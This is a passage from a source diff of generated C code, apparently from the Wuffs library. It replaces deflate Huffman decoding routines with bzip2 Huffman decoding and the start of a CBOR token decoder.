WUFFS_BASE__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 32767u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- do { +- if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { +- v_hlen = 0u; +- v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); +- if (v_length > v_hdist) { +- v_length -= v_hdist; +- v_hlen = v_hdist; +- } else { +- v_hlen = v_length; +- v_length = 0u; ++ v_node_index = 0u; ++ while (true) { ++ if (self->private_impl.f_n_bits <= 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; + } +- v_hdist += v_hdist_adjustment; +- if (self->private_impl.f_history_index < v_hdist) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); +- goto exit; ++ v_child = self->private_data.f_huffman_trees[self->private_impl.f_decode_huffman_which][v_node_index][(self->private_impl.f_bits >> 31u)]; ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ if (v_child < 257u) { ++ v_node_index = ((uint32_t)(v_child)); ++ continue; ++ } else if (v_child < 768u) { ++ v_child_ff = ((uint32_t)(((uint16_t)(v_child & 255u)))); ++ v_output = ((uint32_t)(self->private_data.f_mtft[v_child_ff])); ++ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_mtft, 1, (1u + v_child_ff)), wuffs_base__make_slice_u8(self->private_data.f_mtft, v_child_ff)); ++ self->private_data.f_mtft[0u] = ((uint8_t)(v_output)); ++ self->private_data.f_letter_counts[v_output] += 1u; ++ self->private_data.f_bwt[self->private_impl.f_block_size] = v_output; ++ if (self->private_impl.f_block_size >= self->private_impl.f_max_incl_block_size) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); ++ goto exit; ++ } ++ self->private_impl.f_block_size += 1u; ++ self->private_impl.f_decode_huffman_run_shift = 0u; ++ break; ++ } else if (v_child == 768u) { ++ self->private_impl.f_decode_huffman_finished = true; ++ goto label__outer__break; + } +- wuffs_base__io_writer__limited_copy_u32_from_slice( +- &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); +- if (v_length == 0u) { +- goto label__loop__continue; ++ if (self->private_impl.f_decode_huffman_run_shift >= 23u) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); ++ goto exit; + } +- if ((((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) || (((uint64_t)(v_length)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_length + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst)))) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_distance); ++ v_run = ((((uint32_t)(v_child)) & 3u) << self->private_impl.f_decode_huffman_run_shift); ++ self->private_impl.f_decode_huffman_run_shift += 1u; ++ v_i = self->private_impl.f_block_size; ++ v_j = (v_run + self->private_impl.f_block_size); ++ if (v_j > self->private_impl.f_max_incl_block_size) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); + goto exit; + } ++ self->private_impl.f_block_size = v_j; ++ v_mtft0 = ((uint32_t)(self->private_data.f_mtft[0u])); ++ self->private_data.f_letter_counts[v_mtft0] += v_run; ++ while (v_i < v_j) { ++ self->private_data.f_bwt[v_i] = v_mtft0; ++ v_i += 1u; ++ } ++ break; + } +- if ((v_dist_minus_1 + 1u) >= 8u) { +- wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( +- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); +- } else if ((v_dist_minus_1 + 1u) == 1u) { +- wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast( +- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); +- } else { +- wuffs_base__io_writer__limited_copy_u32_from_history_fast( +- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); +- } +- } while (0); +- } +- if (v_n_bits > 63u) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); +- goto exit; +- } +- while (v_n_bits >= 8u) { +- v_n_bits -= 8u; +- if (iop_a_src > io1_a_src) { +- iop_a_src--; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_i_o); +- goto exit; + } +- } +- self->private_impl.f_bits = ((uint32_t)((v_bits & ((((uint64_t)(1u)) << v_n_bits) - 1u)))); +- self->private_impl.f_n_bits = v_n_bits; +- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> self->private_impl.f_n_bits) != 0u)) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); ++ label__outer__break:; ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_huffman_slow = 0; + goto exit; + } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_huffman_slow = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_huffman_slow.v_node_index = v_node_index; ++ + goto exit; + exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +@@ -36081,40 +35686,229 @@ wuffs_deflate__decoder__decode_huffman_fast64__choosy_default( + return status; + } + +-// -------- func deflate.decoder.decode_huffman_slow ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BZIP2) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CBOR) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_cbor__error__bad_input[] = "#cbor: bad input"; ++const char wuffs_cbor__error__unsupported_recursion_depth[] = "#cbor: unsupported recursion depth"; ++const char wuffs_cbor__error__internal_error_inconsistent_i_o[] = "#cbor: internal error: inconsistent I/O"; ++const char wuffs_cbor__error__internal_error_inconsistent_token_length[] = "#cbor: internal error: inconsistent token length"; ++ ++// ---------------- Private Consts ++ ++static const uint32_t ++WUFFS_CBOR__LITERALS[4] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 8388612u, 8388616u, 8388610u, 8388609u, ++}; ++ ++static const uint8_t ++WUFFS_CBOR__TOKEN_LENGTHS[32] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 1u, 1u, 1u, 1u, 1u, 1u, 1u, 1u, ++ 1u, 1u, 1u, 1u, 1u, 1u, 1u, 1u, ++ 1u, 1u, 1u, 1u, 1u, 1u, 1u, 1u, ++ 2u, 3u, 5u, 9u, 0u, 0u, 0u, 1u, ++}; ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++// ---------------- VTables ++ ++const wuffs_base__token_decoder__func_ptrs ++wuffs_cbor__decoder__func_ptrs_for__wuffs_base__token_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__token_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__slice_u8))(&wuffs_cbor__decoder__decode_tokens), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_cbor__decoder__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_cbor__decoder__set_quirk), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_cbor__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_cbor__decoder__initialize( ++ wuffs_cbor__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__token_decoder.vtable_name = ++ wuffs_base__token_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__token_decoder.function_pointers = ++ (const void*)(&wuffs_cbor__decoder__func_ptrs_for__wuffs_base__token_decoder); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_cbor__decoder* ++wuffs_cbor__decoder__alloc(void) { ++ wuffs_cbor__decoder* x = ++ (wuffs_cbor__decoder*)(calloc(1, sizeof(wuffs_cbor__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_cbor__decoder__initialize( ++ x, sizeof(wuffs_cbor__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_cbor__decoder(void) { ++ return sizeof(wuffs_cbor__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func cbor.decoder.get_quirk + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_deflate__decoder__decode_huffman_slow( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_cbor__decoder__get_quirk( ++ const wuffs_cbor__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return 0u; ++} ++ ++// -------- func cbor.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_cbor__decoder__set_quirk( ++ wuffs_cbor__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func cbor.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_cbor__decoder__workbuf_len( ++ const wuffs_cbor__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_base__utility__empty_range_ii_u64(); ++} ++ ++// -------- func cbor.decoder.decode_tokens ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_cbor__decoder__decode_tokens( ++ wuffs_cbor__decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint32_t v_table_entry = 0; +- uint32_t v_table_entry_n_bits = 0; +- uint32_t v_lmask = 0; +- uint32_t v_dmask = 0; +- uint32_t v_b0 = 0; +- uint32_t v_redir_top = 0; +- uint32_t v_redir_mask = 0; +- uint32_t v_b1 = 0; +- uint32_t v_length = 0; +- uint32_t v_b2 = 0; +- uint32_t v_b3 = 0; +- uint32_t v_b4 = 0; +- uint32_t v_dist_minus_1 = 0; +- uint32_t v_b5 = 0; +- uint32_t v_n_copied = 0; +- uint32_t v_hlen = 0; +- uint32_t v_hdist = 0; ++ uint64_t v_string_length = 0; ++ uint64_t v_n64 = 0; ++ uint32_t v_depth = 0; ++ uint32_t v_stack_byte = 0; ++ uint32_t v_stack_bit = 0; ++ uint32_t v_stack_val = 0; ++ uint32_t v_token_length = 0; ++ uint32_t v_vminor = 0; ++ uint32_t v_vminor_alt = 0; ++ uint32_t v_continued = 0; ++ uint8_t v_c8 = 0; ++ uint8_t v_c_major = 0; ++ uint8_t v_c_minor = 0; ++ bool v_tagged = false; ++ uint8_t v_indefinite_string_major_type = 0; + +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* iop_a_dst = NULL; ++ wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + if (a_dst && a_dst->data.ptr) { + io0_a_dst = a_dst->data.ptr; + io1_a_dst = io0_a_dst + a_dst->meta.wi; +@@ -36135,269 +35929,513 @@ wuffs_deflate__decoder__decode_huffman_slow( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_huffman_slow[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_tokens; + if (coro_susp_point) { +- v_bits = self->private_data.s_decode_huffman_slow[0].v_bits; +- v_n_bits = self->private_data.s_decode_huffman_slow[0].v_n_bits; +- v_table_entry_n_bits = self->private_data.s_decode_huffman_slow[0].v_table_entry_n_bits; +- v_lmask = self->private_data.s_decode_huffman_slow[0].v_lmask; +- v_dmask = self->private_data.s_decode_huffman_slow[0].v_dmask; +- v_redir_top = self->private_data.s_decode_huffman_slow[0].v_redir_top; +- v_redir_mask = self->private_data.s_decode_huffman_slow[0].v_redir_mask; +- v_length = self->private_data.s_decode_huffman_slow[0].v_length; +- v_dist_minus_1 = self->private_data.s_decode_huffman_slow[0].v_dist_minus_1; ++ v_string_length = self->private_data.s_decode_tokens.v_string_length; ++ v_depth = self->private_data.s_decode_tokens.v_depth; ++ v_tagged = self->private_data.s_decode_tokens.v_tagged; ++ v_indefinite_string_major_type = self->private_data.s_decode_tokens.v_indefinite_string_major_type; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); +- goto exit; ++ if (self->private_impl.f_end_of_data) { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; + } +- v_bits = self->private_impl.f_bits; +- v_n_bits = self->private_impl.f_n_bits; +- v_lmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); +- v_dmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); +- label__loop__continue:; +- while ( ! (self->private_impl.p_decode_huffman_slow[0] != 0)) { ++ label__outer__continue:; ++ while (true) { + while (true) { +- v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- if (v_n_bits >= v_table_entry_n_bits) { +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- break; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ do { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 1u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ goto label__outer__continue; + } +- uint32_t t_0 = *iop_a_src++; +- v_b0 = t_0; +- } +- v_bits |= (v_b0 << v_n_bits); +- v_n_bits += 8u; +- } +- if ((v_table_entry >> 31u) != 0u) { +- self->private_data.s_decode_huffman_slow[0].scratch = ((uint8_t)((v_table_entry >> 8u))); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (iop_a_dst == io2_a_dst) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- goto suspend; +- } +- *iop_a_dst++ = ((uint8_t)(self->private_data.s_decode_huffman_slow[0].scratch)); +- continue; +- } else if ((v_table_entry >> 30u) != 0u) { +- } else if ((v_table_entry >> 29u) != 0u) { +- self->private_impl.f_end_of_block = true; +- break; +- } else if ((v_table_entry >> 28u) != 0u) { +- v_redir_top = ((v_table_entry >> 8u) & 65535u); +- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); +- while (true) { +- v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- if (v_n_bits >= v_table_entry_n_bits) { +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- break; ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_cbor__error__bad_input); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ goto label__outer__continue; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if ((v_indefinite_string_major_type != 0u) && (v_indefinite_string_major_type != ((uint8_t)(v_c8 >> 5u)))) { ++ if (v_c8 != 255u) { ++ status = wuffs_base__make_status(wuffs_cbor__error__bad_input); ++ goto exit; + } +- uint32_t t_1 = *iop_a_src++; +- v_b1 = t_1; ++ v_vminor = 4194560u; ++ if (v_indefinite_string_major_type == 3u) { ++ v_vminor |= 19u; ++ } ++ v_indefinite_string_major_type = 0u; ++ iop_a_src += 1u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; + } +- v_bits |= (v_b1 << v_n_bits); +- v_n_bits += 8u; +- } +- if ((v_table_entry >> 31u) != 0u) { +- self->private_data.s_decode_huffman_slow[0].scratch = ((uint8_t)((v_table_entry >> 8u))); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- if (iop_a_dst == io2_a_dst) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- goto suspend; ++ iop_a_src += 1u; ++ v_c_major = ((uint8_t)(((uint8_t)(v_c8 >> 5u)))); ++ v_c_minor = ((uint8_t)(v_c8 & 31u)); ++ if (v_c_minor < 24u) { ++ v_string_length = ((uint64_t)(v_c_minor)); ++ } else { ++ while (true) { ++ if (v_c_minor == 24u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= 1u) { ++ v_string_length = ((uint64_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))); ++ iop_a_src += 1u; ++ break; ++ } ++ } else if (v_c_minor == 25u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= 2u) { ++ v_string_length = ((uint64_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2u; ++ break; ++ } ++ } else if (v_c_minor == 26u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { ++ v_string_length = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); ++ iop_a_src += 4u; ++ break; ++ } ++ } else if (v_c_minor == 27u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= 8u) { ++ v_string_length = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); ++ iop_a_src += 8u; ++ break; ++ } ++ } else { ++ v_string_length = 0u; ++ break; ++ } ++ if (iop_a_src > io1_a_src) { ++ iop_a_src--; ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_cbor__error__bad_input); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); ++ goto label__outer__continue; ++ } ++ status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } + } +- *iop_a_dst++ = ((uint8_t)(self->private_data.s_decode_huffman_slow[0].scratch)); +- continue; +- } else if ((v_table_entry >> 30u) != 0u) { +- } else if ((v_table_entry >> 29u) != 0u) { +- self->private_impl.f_end_of_block = true; +- break; +- } else if ((v_table_entry >> 28u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } else if ((v_table_entry >> 27u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ if (v_c_major == 0u) { ++ if (v_c_minor < 26u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((14680064u | ((uint32_t)((v_string_length & 65535u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } else if (v_c_minor < 28u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((14680064u | ((uint32_t)((v_string_length >> 46u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ *iop_a_dst++ = wuffs_base__make_token( ++ (~(v_string_length & 70368744177663u) << WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } ++ } else if (v_c_major == 1u) { ++ if (v_c_minor < 26u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((12582912u | (2097151u - ((uint32_t)((v_string_length & 65535u))))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } else if (v_c_minor < 28u) { ++ if (v_string_length < 9223372036854775808u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((12582912u | (2097151u - ((uint32_t)((v_string_length >> 46u))))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ *iop_a_dst++ = wuffs_base__make_token( ++ (~((18446744073709551615u - v_string_length) & 70368744177663u) << WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ } else { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | ++ (((uint64_t)(16777216u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(9u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ } ++ goto label__goto_parsed_a_leaf_value__break; ++ } ++ } else if (v_c_major == 2u) { ++ if (v_c_minor < 28u) { ++ if (v_string_length == 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194560u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194560u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ } else if (v_c_minor == 31u) { ++ if (v_indefinite_string_major_type != 0u) { ++ break; ++ } ++ v_indefinite_string_major_type = 2u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194560u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__outer__continue; ++ } else { ++ break; ++ } ++ while (true) { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); ++ continue; ++ } ++ v_n64 = wuffs_base__u64__min(v_string_length, ((uint64_t)(io2_a_src - iop_a_src))); ++ v_token_length = ((uint32_t)((v_n64 & 65535u))); ++ if (v_n64 > 65535u) { ++ v_token_length = 65535u; ++ } else if (v_token_length <= 0u) { ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_cbor__error__bad_input); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ continue; ++ } ++ if (((uint64_t)(io2_a_src - iop_a_src)) < ((uint64_t)(v_token_length))) { ++ status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_token_length); ++ goto exit; ++ } ++ v_string_length -= ((uint64_t)(v_token_length)); ++ v_continued = 0u; ++ if ((v_string_length > 0u) || (v_indefinite_string_major_type > 0u)) { ++ v_continued = 